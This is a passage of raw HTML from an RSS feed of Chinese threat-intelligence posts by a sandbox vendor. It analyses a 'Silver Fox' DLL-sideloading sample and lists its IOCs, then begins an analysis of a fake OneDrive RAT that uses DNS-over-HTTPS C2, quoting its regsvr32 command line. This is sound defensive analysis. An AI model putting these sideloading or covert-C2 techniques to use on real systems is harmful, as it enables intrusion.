300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">目录伪装与白加黑</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">样本在目标主机释放后续载荷至 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\Program Files\SogouInput\15.11.0.2620\&lt;8位随机字符串&gt;\</span></code><span leaf="">，例如：</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\Program Files\SogouInput\15.11.0.2620\r9TV40qr\</span></code><span leaf="">。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">该目录下包含：</span></p></li></ul><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">sgfeedbackhelper.exe：输入法官方反馈组件（合法签名白程序）</span></code><br/><code><span leaf="">HWSignature.dll：攻击者构造的恶意 DLL</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="" style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">当 sgfeedbackhelper.exe 启动时，Windows DLL 搜索顺序优先加载当前目录下的同名或依赖 DLL。恶意 HWSignature.dll 被成功劫持加载，这是典型的白加黑利用，如图 2 所示</span><span leaf="">。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;" nodeleaf=""><img data-aistatus="1" alt="白加黑利用" class="rich_pages wxw-img" data-ratio="0.076171875" data-type="png" data-w="1024" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005483" src="https://wechat2rss.xlab.app/img-proxy/?k=91df6031&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtz1mxGrpjiaj9D8yOqbzxFM0AWr22N0cAvyqLU2Yzby9icYGx4ENRcyCOicdQ8iaTM7KmrfcwnnAzmIiadH0TwFEPPMy5PTRTKCUA8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;"><span leaf="">图2 白加黑利用检测</span></center><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">内存 Shellcode 执行与 C2 通信</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">内存执行链</span></strong><span leaf="">：动态加载当前目录下的加密 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">PeLoader</span></code><span leaf=""> 载荷，采用无文件落地技术（Fileless Execution）在内存中解密并注入执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">家族溯源</span></strong><span leaf="">：载荷行为特征命中天穹沙箱内置检测规则，确认为 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">“银狐”</span></strong><span leaf=""> 恶意软件家族，如图 3 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">C2 通信</span></strong><span leaf="">：Shellcode 直接通过硬编码 IP 或域名与攻击者 C2 服务器建立通信隧道，实现持久化远程控制。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;" nodeleaf=""><img alt="威胁配置信息" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005482" data-ratio="0.2564814814814815" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7282c57f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdv86BgFeyzstLBSjDCBA43HaaKicdibibgpnTsW23c2xHNhV4b1zXMO9QTTKb5J7oPY1YkmibaicOrQu911KdiaFhp06CSzM7qhN6tow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;"><span leaf="">图3 威胁配置信息</span></center></li></ul><div data-role="title" data-tools="135编辑器" data-id="170661" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;align-items: center;margin-left: 5px;"><div style="flex-shrink: 0;margin-right: -20px;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><div style="background: linear-gradient(to right,#ffab3d,#ffab3d);"><p style="font-size: 16px;color: #ffffff;width: 38px;height: 38px;display: flex;align-items: center;justify-content: center;box-sizing:border-box;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-o-transform: rotate(45deg);"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">5</span></strong></p></div></div><div style="width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #edf2ff;padding: 7px 10px 7px 20px;margin: 0 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #1a3782;text-align: left;padding: 0 10px;z-index: 3;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;">IOC</span></span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-size: 17px;">恶意文件（MD5）</span></span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">c5e622b8c1213357610e40688625430b</span> DingDing64x_SETUP_DD_192.exe</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">b1f13ebdec32a30c560f5ab2798040e5</span> <span class="code-snippet__number">2026</span>.<span class="code-snippet__number">04</span>.<span class="code-snippet__number">15</span>----最新名单公示.exe.x64.exe</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;">恶意文件 IOC</span></span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">206</span>.<span class="code-snippet__number">238</span>.<span class="code-snippet__number">180</span>[.]<span class="code-snippet__number">192</span>:<span class="code-snippet__number">6666</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">adbufrd</span>[.]cn</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">报告链接</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">策略二分析报告链接：</span><p><span leaf="" style="background-color:rgb(255, 255, 255);color:rgb(32, 32, 32);font-size:16px;font-family:sans-serif;letter-spacing:normal;font-style:normal;font-weight:300;"><a href="https://sandbox.qianxin.com/tq/report/toViewReport.dorid=21cf3efa2e40f35eede8cd611147a041&amp;sk=52479977)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.dorid=21cf3efa2e40f35eede8cd611147a041&amp;sk=52479977)</a></span></p><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5d7eaeef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw%2F640%3Fwx_fmt%3Djpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a1ea67a1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489135%26idx%3D1%26sn%3D9499cd81beaffced0cab3344e191f4c8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 20 Apr 2026 17:36:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】浮出水面：隐匿于DoH之下的C2通信</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489127&amp;idx=1&amp;sn=c6a10f332dbd4b32276444c9cd77f77b</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-04-15 10:05</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=389b41ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMduHibFcC18kQnaeHYQGJdcRdc04picAU2iaHOtApBschkxooXsB5GBUOjhdWnmRmRXfnvbc1hFUyMo5I6DM5ZRQHnxt2ZPd24TQ9w%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">1</span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;"> 概述</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">近期，天穹沙箱团队在日常样本分析工作中收到用户反馈的内网攻击样本，发现其具备高度复杂的攻击链，并且使用了极具隐蔽性的 C&amp;C 通信方式，以下将详细拆解样本初始伪装、内存解密以及隐蔽通信的完整过程。</span></p><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">2</span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;"> 样本信息</span></span></strong></p></div></div></div></div><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名： OneDrive.exe</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1： e31b0a79ab7d95542d2adff12bd4a322d8c0b036</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型： EXE</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小： 24.60 MB (25789952 bytes)</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">报告链接：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f1d5891c2de3e55c0a0d740e172cdded&amp;sk=32236387" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f1d5891c2de3e55c0a0d740e172cdded&amp;sk=32236387</a></span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div style="background-color: #ffffff;border: 1px solid #2c80f5;border-radius: 100%;padding: 3px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;background-color: #2c80f5;width: 40px;height: 40px;display: flex;justify-content: center;align-items: center;border-radius: 100%;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">3</span></strong></p></div></div><div style="width: 100%;max-width: 100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #ebf7ff;padding: 12px 20px;box-sizing: border-box;"><p style="font-size: 16px;color: #2c80f5;text-align: left;"><strong data-brushtype="text"><span leaf=""> <span textstyle="" style="font-size: 18px;">样本分析</span></span></strong></p></div></div></div></div><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 17px;">阶段一：初始伪装</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该样本源码基于著名 PDF 阅读器 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SumatraPDF</span></strong><span leaf=""> 二次开发，用以伪装成正常的 OneDrive 客户端程序，诱骗用户下载并执行。样本启动后，首先会释放 soc.exe 和 OneDrive.dll 两个文件。其中 soc.exe 是具备 Kaspersky Lab 合法签名的白工具，OneDrive.dll 为正常无签名 OneDrive 组件，样本利用该工具执行以下命令将伪装的 OneDrive 组件注册为系统服务，进一步混淆视听。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">soc.exe run run-cmd cmd.exe /c regsvr32.exe /s C:\Users\lichao\AppData\Local\OneDrive.dll</span></code></pre></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;">阶段二：内存解密</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">随后，内存解密并执行长度为 5,489,897 字节的 shellcode，其核心功能是内存加载一个使用 UPX 打包压缩的 PE 文件，全程避免在磁盘留下可执行文件痕迹。</span><span leaf=""><br/></span><span leaf=""><img alt="alt text" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005473" data-ratio="0.36323851203501095" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="914" src="https://wechat2rss.xlab.app/img-proxy/?k=183bbf70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvt3hTq7wdBl9U113LwaDgEEanIUqx4HSSFfT6O0k9hxxHAuwXNeIGYvktIbib7Q5CaStlNmJqovZhuL9se3d4pC22L0sydRk3c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 17px;">阶段三：隐蔽通信</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在内存中展开运行的 payload 是使用 golang 开发的 RAT 木马。该木马的 C&amp;C 通信方式极度隐蔽，采用 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">DNS over HTTPS（DoH）</span></strong><span leaf=""> 协议进行通信，将指令与数据隐藏在正常的 HTTPS 流量中，通过与 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">dns.alidns.com</span></code><span leaf=""> 的通信过程掩盖真实的通信流量。</span><span leaf=""><br/></span><span leaf=""><img alt="alt text" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005475" data-ratio="0.3648148148148148" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2801fec7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvIB2qhQQcECp1kPsOUFWnlXONxvaBgmicbOJ1JmLW5HjsjpP5OBbR2DAD5lHBt4LOIFbKrDrh7ib6uibzPDzv0s7NNjVYzPf0vIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><blockquote style="box-sizing: border-box;margin: 1rem 0px;padding: 1rem 1rem 1rem 20px;overflow-wrap: break-word;border-width: 1px 1px 1px 4px;border-style: solid;border-color: rgb(238, 238, 238) rgb(238, 238, 238) rgb(238, 238, 238) rgb(204, 204, 204);border-image: initial;color: rgb(85, 85, 85);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;"><em style="box-sizing: border-box;color: rgb(255, 87, 34);font-weight: bold;font-style: normal;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">注：</span></strong></em><span leaf=""> 被加载的内存 PE 需要加载至预期基址 0x400000，否则会出现重定位问题，loader 阶段若尝试分配 0x400000 地址失败，会二次分配任意地址，但基于任意地址的后续解密执行操作均会导致样本运行时崩溃。</span></p></blockquote><div data-role="title" data-tools="135编辑器" data-id="170437" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;align-items: center;"><div style="flex-shrink: 0;margin-right: -16px;z-index: 4;"><div 